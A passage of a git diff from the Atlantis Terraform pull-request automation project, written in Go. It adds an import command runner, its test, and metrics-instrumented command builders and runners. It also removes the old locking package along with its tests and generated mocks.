*CommentCommand) { + var err error + // Get the mergeable status before we set any build statuses of our own. + // We do this here because when we set a "Pending" status, if users have + // required the Atlantis status checks to pass, then we've now changed + // the mergeability status of the pull request. + // This sets the approved, mergeable, and sqlocked status in the context. + ctx.PullRequestStatus, err = v.pullReqStatusFetcher.FetchPullStatus(ctx.Log, ctx.Pull) + if err != nil { + // On error we continue the request with mergeable assumed false. + // We want to continue because not all import will need this status, + // only if they rely on the mergeability requirement. + // All PullRequestStatus fields are set to false by default when error. + ctx.Log.Warn("unable to get pull request status: %s. Continuing with mergeable and approved assumed false", err) + } + + var projectCmds []command.ProjectContext + projectCmds, err = v.prjCmdBuilder.BuildImportCommands(ctx, cmd) + if err != nil { + ctx.Log.Warn("Error %s", err) + } + + if len(projectCmds) == 0 && v.SilenceNoProjects { + ctx.Log.Info("determined there was no project to run import in.") + return + } + var result command.Result + if len(projectCmds) > 1 { + // There is no usecase to kick terraform import into multiple projects. + // To avoid incorrect import, suppress to execute terraform import in multiple projects. + result = command.Result{ + Failure: "import cannot run on multiple projects. please specify one project.", + } + } else { + result = runProjectCmds(projectCmds, v.prjCmdRunner.Import) + } + v.pullUpdater.updatePull(ctx, cmd, result) +} diff --git a/server/events/import_command_runner_test.go b/server/events/import_command_runner_test.go new file mode 100644 index 0000000000..694f7d79e8 --- /dev/null +++ b/server/events/import_command_runner_test.go @@ -0,0 +1,90 @@ +package events_test + +import ( + "testing" + + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/models/testdata" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + . "github.com/runatlantis/atlantis/testing" +) + +func TestImportCommandRunner_Run(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + tests := []struct { + name string + silenced bool + pullReqStatus models.PullReqStatus + projectCmds []command.ProjectContext + expComment string + expNoComment bool + }{ + { + name: "success with zero projects", + pullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: true}, + Mergeable: true, + }, + projectCmds: []command.ProjectContext{}, + expComment: "Ran Import for 0 projects:", + }, + { + name: "failure with multiple projects", + pullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: true}, + Mergeable: true, + }, + projectCmds: []command.ProjectContext{{}, {}}, + expComment: "**Import Failed**: import cannot run on multiple projects. please specify one project.", + }, + { + name: "no comment with zero projects and silencing", + pullReqStatus: models.PullReqStatus{ + ApprovalStatus: models.ApprovalStatus{IsApproved: true}, + Mergeable: true, + }, + projectCmds: []command.ProjectContext{}, + silenced: true, + expNoComment: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + vcsClient := setup(t, func(tc *TestConfig) { + tc.SilenceNoProjects = tt.silenced + }) + + scopeNull, _, _ := metrics.NewLoggingScope(logger, "atlantis") + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + ctx := &command.Context{ + User: testdata.User, + Log: logger, + Scope: scopeNull, + Pull: modelPull, + HeadRepo: testdata.GithubRepo, + Trigger: command.CommentTrigger, + } + cmd := &events.CommentCommand{Name: command.Import} + + When(pullReqStatusFetcher.FetchPullStatus(logger, modelPull)).ThenReturn(tt.pullReqStatus, nil) + When(projectCommandBuilder.BuildImportCommands(ctx, cmd)).ThenReturn(tt.projectCmds, nil) + + importCommandRunner.Run(ctx, cmd) + + Assert(t, ctx.PullRequestStatus.Mergeable == true, "PullRequestStatus must be set for import_requirements") + if tt.expNoComment { + vcsClient.VerifyWasCalled(Never()).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + } else { + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(tt.expComment), Eq("import")) + } + }) + } +} diff --git a/server/events/instrumented_project_command_builder.go b/server/events/instrumented_project_command_builder.go new file mode 100644 index 0000000000..36ea9361b7 --- /dev/null +++ b/server/events/instrumented_project_command_builder.go @@ -0,0 +1,81 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + tally "github.com/uber-go/tally/v4" +) + +type InstrumentedProjectCommandBuilder struct { + ProjectCommandBuilder + Logger logging.SimpleLogging + scope tally.Scope +} + +func (b *InstrumentedProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { + return b.buildAndEmitStats( + "apply", + func() ([]command.ProjectContext, error) { + return b.ProjectCommandBuilder.BuildApplyCommands(ctx, comment) + }, + ) +} + +func (b *InstrumentedProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) { + return b.buildAndEmitStats( + "auto plan", + func() ([]command.ProjectContext, error) { + return b.ProjectCommandBuilder.BuildAutoplanCommands(ctx) + }, + ) +} + +func (b *InstrumentedProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { + return b.buildAndEmitStats( + "plan", + func() ([]command.ProjectContext, error) { + return b.ProjectCommandBuilder.BuildPlanCommands(ctx, comment) + }, + ) +} + +func (b *InstrumentedProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { + return b.buildAndEmitStats( + "import", + func() ([]command.ProjectContext, error) { + return b.ProjectCommandBuilder.BuildImportCommands(ctx, comment) + }, + ) +} + +func (b *InstrumentedProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) { + return b.buildAndEmitStats( + "state rm", + func() ([]command.ProjectContext, error) { + return b.ProjectCommandBuilder.BuildStateRmCommands(ctx, comment) + }, + ) +} + +func (b *InstrumentedProjectCommandBuilder) buildAndEmitStats( + command string, + execute func() ([]command.ProjectContext, error), +) ([]command.ProjectContext, error) { + timer := b.scope.Timer(metrics.ExecutionTimeMetric).Start() + defer timer.Stop() + + executionSuccess := b.scope.Counter(metrics.ExecutionSuccessMetric) + executionError := b.scope.Counter(metrics.ExecutionErrorMetric) + + projectCmds, err := execute() + + if err != nil { + executionError.Inc(1) + b.Logger.Err("Error building %s commands: %s", command, err) + } else { + executionSuccess.Inc(1) + } + + return projectCmds, err +} diff --git a/server/events/instrumented_project_command_runner.go b/server/events/instrumented_project_command_runner.go new file mode 100644 index 0000000000..fa27a9c244 --- /dev/null +++ b/server/events/instrumented_project_command_runner.go @@ -0,0 +1,93 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/metrics" + tally "github.com/uber-go/tally/v4" +) + +type IntrumentedCommandRunner interface { + Plan(ctx command.ProjectContext) command.ProjectResult + PolicyCheck(ctx command.ProjectContext) command.ProjectResult + Apply(ctx command.ProjectContext) command.ProjectResult + ApprovePolicies(ctx command.ProjectContext) command.ProjectResult + Import(ctx command.ProjectContext) command.ProjectResult + StateRm(ctx command.ProjectContext) command.ProjectResult +} + +type InstrumentedProjectCommandRunner struct { + projectCommandRunner ProjectCommandRunner + scope tally.Scope +} + +func NewInstrumentedProjectCommandRunner(scope tally.Scope, projectCommandRunner ProjectCommandRunner) *InstrumentedProjectCommandRunner { + projectTags := command.ProjectScopeTags{} + scope = scope.SubScope("project").Tagged(projectTags.Loadtags()) + + for _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric, metrics.ExecutionFailureMetric} { + metrics.InitCounter(scope, m) + } + + return &InstrumentedProjectCommandRunner{ + projectCommandRunner: projectCommandRunner, + scope: scope, + } +} + +func (p *InstrumentedProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectResult { + return RunAndEmitStats(ctx, p.projectCommandRunner.Plan, p.scope) +} + +func (p *InstrumentedProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectResult { + return RunAndEmitStats(ctx, p.projectCommandRunner.PolicyCheck, p.scope) +} + +func (p *InstrumentedProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectResult { + return RunAndEmitStats(ctx, p.projectCommandRunner.Apply, p.scope) +} + +func (p *InstrumentedProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectResult { + return RunAndEmitStats(ctx, p.projectCommandRunner.ApprovePolicies, p.scope) +} + +func (p *InstrumentedProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectResult { + return RunAndEmitStats(ctx, p.projectCommandRunner.Import, p.scope) +} + +func (p *InstrumentedProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectResult { + return RunAndEmitStats(ctx, p.projectCommandRunner.StateRm, p.scope) +} + +func RunAndEmitStats(ctx command.ProjectContext, execute func(ctx command.ProjectContext) command.ProjectResult, scope tally.Scope) command.ProjectResult { + commandName := ctx.CommandName.String() + // ensures we are differentiating between project level command and overall command + scope = ctx.SetProjectScopeTags(scope).SubScope(commandName) + logger := ctx.Log + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + executionFailure := scope.Counter(metrics.ExecutionFailureMetric) + + result := execute(ctx) + + if result.Error != nil { + executionError.Inc(1) + logger.Err("Error running %s operation: %s", commandName, result.Error.Error()) + return result + } + + if result.Failure != "" { + executionFailure.Inc(1) + logger.Err("Failure running %s operation: %s", commandName, result.Failure) + return result + } + + logger.Info("%s success. output available at: %s", commandName, ctx.Pull.URL) + + executionSuccess.Inc(1) + return result + +} diff --git a/server/events/instrumented_pull_closed_executor.go b/server/events/instrumented_pull_closed_executor.go new file mode 100644 index 0000000000..5b1bba01e6 --- /dev/null +++ b/server/events/instrumented_pull_closed_executor.go @@ -0,0 +1,52 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + tally "github.com/uber-go/tally/v4" +) + +type InstrumentedPullClosedExecutor struct { + scope tally.Scope + log logging.SimpleLogging + cleaner PullCleaner +} + +func NewInstrumentedPullClosedExecutor( + scope tally.Scope, log logging.SimpleLogging, cleaner PullCleaner, +) PullCleaner { + scope = scope.SubScope("pullclosed_cleanup") + + for _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric} { + metrics.InitCounter(scope, m) + } + + return &InstrumentedPullClosedExecutor{ + scope: scope, + log: log, + cleaner: cleaner, + } +} + +func (e *InstrumentedPullClosedExecutor) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { + + executionSuccess := e.scope.Counter(metrics.ExecutionSuccessMetric) + executionError := e.scope.Counter(metrics.ExecutionErrorMetric) + executionTime := e.scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + logger.Info("Initiating cleanup of pull data.") + + err := e.cleaner.CleanUpPull(logger, repo, pull) + + if err != nil { + executionError.Inc(1) + logger.Err("error during cleanup of pull data", err) + return err + } + + executionSuccess.Inc(1) + + return nil +} diff --git a/server/events/locking/locking.go b/server/events/locking/locking.go deleted file mode 100644 index 2f556d7721..0000000000 --- a/server/events/locking/locking.go +++ /dev/null @@ -1,148 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. -// -// Package locking handles locking projects when they have in-progress runs. -package locking - -import ( - "errors" - "fmt" - "regexp" - "time" - - "github.com/runatlantis/atlantis/server/events/models" -) - -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_backend.go Backend - -// Backend is an implementation of the locking API we require. -type Backend interface { - TryLock(lock models.ProjectLock) (bool, models.ProjectLock, error) - Unlock(project models.Project, workspace string) (*models.ProjectLock, error) - List() ([]models.ProjectLock, error) - GetLock(project models.Project, workspace string) (*models.ProjectLock, error) - UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) -} - -// TryLockResponse results from an attempted lock. -type TryLockResponse struct { - // LockAcquired is true if the lock was acquired from this call. - LockAcquired bool - // CurrLock is what project is currently holding the lock. - CurrLock models.ProjectLock - // LockKey is an identified by which to lookup and delete this lock. - LockKey string -} - -// Client is used to perform locking actions. -type Client struct { - backend Backend -} - -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_locker.go Locker - -type Locker interface { - TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error) - Unlock(key string) (*models.ProjectLock, error) - List() (map[string]models.ProjectLock, error) - UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) - GetLock(key string) (*models.ProjectLock, error) -} - -// NewClient returns a new locking client. -func NewClient(backend Backend) *Client { - return &Client{ - backend: backend, - } -} - -// keyRegex matches and captures {repoFullName}/{path}/{workspace} where path can have multiple /'s in it. -var keyRegex = regexp.MustCompile(`^(.*?\/.*?)\/(.*)\/(.*)$`) - -// TryLock attempts to acquire a lock to a project and workspace. -func (c *Client) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error) { - lock := models.ProjectLock{ - Workspace: workspace, - Time: time.Now().Local(), - Project: p, - User: user, - Pull: pull, - } - lockAcquired, currLock, err := c.backend.TryLock(lock) - if err != nil { - return TryLockResponse{}, err - } - return TryLockResponse{lockAcquired, currLock, c.key(p, workspace)}, nil -} - -// Unlock attempts to unlock a project and workspace. If successful, -// a pointer to the now deleted lock will be returned. Else, that -// pointer will be nil. An error will only be returned if there was -// an error deleting the lock (i.e. not if there was no lock). -func (c *Client) Unlock(key string) (*models.ProjectLock, error) { - project, workspace, err := c.lockKeyToProjectWorkspace(key) - if err != nil { - return nil, err - } - return c.backend.Unlock(project, workspace) -} - -// List returns a map of all locks with their lock key as the map key. -// The lock key can be used in GetLock() and Unlock(). -func (c *Client) List() (map[string]models.ProjectLock, error) { - m := make(map[string]models.ProjectLock) - locks, err := c.backend.List() - if err != nil { - return m, err - } - for _, lock := range locks { - m[c.key(lock.Project, lock.Workspace)] = lock - } - return m, nil -} - -// UnlockByPull deletes all locks associated with that pull request. -func (c *Client) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { - return c.backend.UnlockByPull(repoFullName, pullNum) -} - -// GetLock attempts to get the lock stored at key. If successful, -// a pointer to the lock will be returned. Else, the pointer will be nil. -// An error will only be returned if there was an error getting the lock -// (i.e. not if there was no lock). -func (c *Client) GetLock(key string) (*models.ProjectLock, error) { - project, workspace, err := c.lockKeyToProjectWorkspace(key) - if err != nil { - return nil, err - } - - projectLock, err := c.backend.GetLock(project, workspace) - if err != nil { - return nil, err - } - - return projectLock, nil -} - -func (c *Client) key(p models.Project, workspace string) string { - return fmt.Sprintf("%s/%s/%s", p.RepoFullName, p.Path, workspace) -} - -func (c *Client) lockKeyToProjectWorkspace(key string) (models.Project, string, error) { - matches := keyRegex.FindStringSubmatch(key) - if len(matches) != 4 { - return models.Project{}, "", errors.New("invalid key format") - } - - return models.Project{RepoFullName: matches[1], Path: matches[2]}, matches[3], nil -} diff --git a/server/events/locking/locking_test.go b/server/events/locking/locking_test.go deleted file mode 100644 index 34f0e1e4fb..0000000000 --- a/server/events/locking/locking_test.go +++ /dev/null @@ -1,146 +0,0 @@ -// Copyright 2017 HootSuite Media Inc. -// -// Licensed under the Apache License, Version 2.0 (the License); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// http://www.apache.org/licenses/LICENSE-2.0 -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an AS IS BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// Modified hereafter by contributors to runatlantis/atlantis. - -package locking_test - -import ( - "errors" - "testing" - "time" - - "strings" - - . "github.com/petergtz/pegomock" - "github.com/runatlantis/atlantis/server/events/locking" - "github.com/runatlantis/atlantis/server/events/locking/mocks" - "github.com/runatlantis/atlantis/server/events/locking/mocks/matchers" - "github.com/runatlantis/atlantis/server/events/models" - . "github.com/runatlantis/atlantis/testing" -) - -var project = models.NewProject("owner/repo", "path") -var workspace = "workspace" -var pull = models.PullRequest{} -var user = models.User{} -var errExpected = errors.New("err") -var timeNow = time.Now().Local() -var pl = models.ProjectLock{Project: project, Pull: pull, User: user, Workspace: workspace, Time: timeNow} - -func TestTryLock_Err(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.TryLock(matchers.AnyModelsProjectLock())).ThenReturn(false, models.ProjectLock{}, errExpected) - t.Log("when the backend returns an error, TryLock should return that error") - l := locking.NewClient(backend) - _, err := l.TryLock(project, workspace, pull, user) - Equals(t, err, err) -} - -func TestTryLock_Success(t *testing.T) { - RegisterMockTestingT(t) - currLock := models.ProjectLock{} - backend := mocks.NewMockBackend() - When(backend.TryLock(matchers.AnyModelsProjectLock())).ThenReturn(true, currLock, nil) - l := locking.NewClient(backend) - r, err := l.TryLock(project, workspace, pull, user) - Ok(t, err) - Equals(t, locking.TryLockResponse{LockAcquired: true, CurrLock: currLock, LockKey: "owner/repo/path/workspace"}, r) -} - -func TestUnlock_InvalidKey(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - l := locking.NewClient(backend) - - _, err := l.Unlock("invalidkey") - Assert(t, err != nil, "expected err") - Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected err") -} - -func TestUnlock_Err(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.Unlock(matchers.AnyModelsProject(), AnyString())).ThenReturn(nil, errExpected) - l := locking.NewClient(backend) - _, err := l.Unlock("owner/repo/path/workspace") - Equals(t, err, err) - backend.VerifyWasCalledOnce().Unlock(project, "workspace") -} - -func TestUnlock(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.Unlock(matchers.AnyModelsProject(), AnyString())).ThenReturn(&pl, nil) - l := locking.NewClient(backend) - lock, err := l.Unlock("owner/repo/path/workspace") - Ok(t, err) - Equals(t, &pl, lock) -} - -func TestList_Err(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.List()).ThenReturn(nil, errExpected) - l := locking.NewClient(backend) - _, err := l.List() - Equals(t, errExpected, err) -} - -func TestList(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.List()).ThenReturn([]models.ProjectLock{pl}, nil) - l := locking.NewClient(backend) - list, err := l.List() - Ok(t, err) - Equals(t, map[string]models.ProjectLock{ - "owner/repo/path/workspace": pl, - }, list) -} - -func TestUnlockByPull(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.UnlockByPull("owner/repo", 1)).ThenReturn(nil, errExpected) - l := locking.NewClient(backend) - _, err := l.UnlockByPull("owner/repo", 1) - Equals(t, errExpected, err) -} - -func TestGetLock_BadKey(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - l := locking.NewClient(backend) - _, err := l.GetLock("invalidkey") - Assert(t, err != nil, "err should not be nil") - Assert(t, strings.Contains(err.Error(), "invalid key format"), "expected different err") -} - -func TestGetLock_Err(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.GetLock(project, workspace)).ThenReturn(nil, errExpected) - l := locking.NewClient(backend) - _, err := l.GetLock("owner/repo/path/workspace") - Equals(t, errExpected, err) -} - -func TestGetLock(t *testing.T) { - RegisterMockTestingT(t) - backend := mocks.NewMockBackend() - When(backend.GetLock(project, workspace)).ThenReturn(&pl, nil) - l := locking.NewClient(backend) - lock, err := l.GetLock("owner/repo/path/workspace") - Ok(t, err) - Equals(t, &pl, lock) -} diff --git a/server/events/locking/mocks/matchers/locking_trylockresponse.go b/server/events/locking/mocks/matchers/locking_trylockresponse.go deleted file mode 100644 index fa6d083437..0000000000 --- a/server/events/locking/mocks/matchers/locking_trylockresponse.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - locking "github.com/runatlantis/atlantis/server/events/locking" -) - -func AnyLockingTryLockResponse() locking.TryLockResponse { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(locking.TryLockResponse))(nil)).Elem())) - var nullValue locking.TryLockResponse - return nullValue -} - -func EqLockingTryLockResponse(value locking.TryLockResponse) locking.TryLockResponse { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue locking.TryLockResponse - return nullValue -} diff --git a/server/events/locking/mocks/matchers/map_of_string_to_models_projectlock.go b/server/events/locking/mocks/matchers/map_of_string_to_models_projectlock.go deleted file mode 100644 index 39b8af1327..0000000000 --- a/server/events/locking/mocks/matchers/map_of_string_to_models_projectlock.go +++ /dev/null @@ -1,21 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - -models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyMapOfStringToModelsProjectLock() map[string]models.ProjectLock { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(map[string]models.ProjectLock))(nil)).Elem())) - var nullValue map[string]models.ProjectLock - return nullValue -} - -func EqMapOfStringToModelsProjectLock(value map[string]models.ProjectLock) map[string]models.ProjectLock { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue map[string]models.ProjectLock - return nullValue -} diff --git a/server/events/locking/mocks/matchers/models_project.go b/server/events/locking/mocks/matchers/models_project.go deleted file mode 100644 index 4d1a43a965..0000000000 --- a/server/events/locking/mocks/matchers/models_project.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsProject() models.Project { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.Project))(nil)).Elem())) - var nullValue models.Project - return nullValue -} - -func EqModelsProject(value models.Project) models.Project { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.Project - return nullValue -} diff --git a/server/events/locking/mocks/matchers/models_projectlock.go b/server/events/locking/mocks/matchers/models_projectlock.go deleted file mode 100644 index a7f790db0c..0000000000 --- a/server/events/locking/mocks/matchers/models_projectlock.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsProjectLock() models.ProjectLock { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.ProjectLock))(nil)).Elem())) - var nullValue models.ProjectLock - return nullValue -} - -func EqModelsProjectLock(value models.ProjectLock) models.ProjectLock { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.ProjectLock - return nullValue -} diff --git a/server/events/locking/mocks/matchers/models_pullrequest.go b/server/events/locking/mocks/matchers/models_pullrequest.go deleted file mode 100644 index dd1fb0d4ee..0000000000 --- a/server/events/locking/mocks/matchers/models_pullrequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsPullRequest() models.PullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.PullRequest))(nil)).Elem())) - var nullValue models.PullRequest - return nullValue -} - -func EqModelsPullRequest(value models.PullRequest) models.PullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.PullRequest - return nullValue -} diff --git a/server/events/locking/mocks/matchers/models_user.go b/server/events/locking/mocks/matchers/models_user.go deleted file mode 100644 index aa45448ddd..0000000000 --- a/server/events/locking/mocks/matchers/models_user.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsUser() models.User { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.User))(nil)).Elem())) - var nullValue models.User - return nullValue -} - -func EqModelsUser(value models.User) models.User { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.User - return nullValue -} diff --git a/server/events/locking/mocks/matchers/ptr_to_models_projectlock.go b/server/events/locking/mocks/matchers/ptr_to_models_projectlock.go deleted file mode 100644 index bf95261d17..0000000000 --- a/server/events/locking/mocks/matchers/ptr_to_models_projectlock.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyPtrToModelsProjectLock() *models.ProjectLock { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(*models.ProjectLock))(nil)).Elem())) - var nullValue *models.ProjectLock - return nullValue -} - -func EqPtrToModelsProjectLock(value *models.ProjectLock) *models.ProjectLock { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue *models.ProjectLock - return nullValue -} diff --git a/server/events/locking/mocks/matchers/slice_of_models_projectlock.go b/server/events/locking/mocks/matchers/slice_of_models_projectlock.go deleted file mode 100644 index 07666359b7..0000000000 --- a/server/events/locking/mocks/matchers/slice_of_models_projectlock.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnySliceOfModelsProjectLock() []models.ProjectLock { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*([]models.ProjectLock))(nil)).Elem())) - var nullValue []models.ProjectLock - return nullValue -} - -func EqSliceOfModelsProjectLock(value []models.ProjectLock) []models.ProjectLock { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue []models.ProjectLock - return nullValue -} diff --git a/server/events/locking/mocks/mock_backend.go b/server/events/locking/mocks/mock_backend.go deleted file mode 100644 index 073dee2034..0000000000 --- a/server/events/locking/mocks/mock_backend.go +++ /dev/null @@ -1,299 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server/events/locking (interfaces: Backend) - -package mocks - -import ( - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" - "reflect" - "time" -) - -type MockBackend struct { - fail func(message string, callerSkip ...int) -} - -func NewMockBackend(options ...pegomock.Option) *MockBackend { - mock := &MockBackend{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockBackend) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockBackend) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockBackend) TryLock(lock models.ProjectLock) (bool, models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockBackend().") - } - params := []pegomock.Param{lock} - result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 bool - var ret1 models.ProjectLock - var ret2 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) - } - if result[1] != nil { - ret1 = result[1].(models.ProjectLock) - } - if result[2] != nil { - ret2 = result[2].(error) - } - } - return ret0, ret1, ret2 -} - -func (mock *MockBackend) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockBackend().") - } - params := []pegomock.Param{project, workspace} - result := pegomock.GetGenericMockFrom(mock).Invoke("Unlock", params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockBackend) List() ([]models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockBackend().") - } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("List", params, []reflect.Type{reflect.TypeOf((*[]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 []models.ProjectLock - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].([]models.ProjectLock) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockBackend) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockBackend().") - } - params := 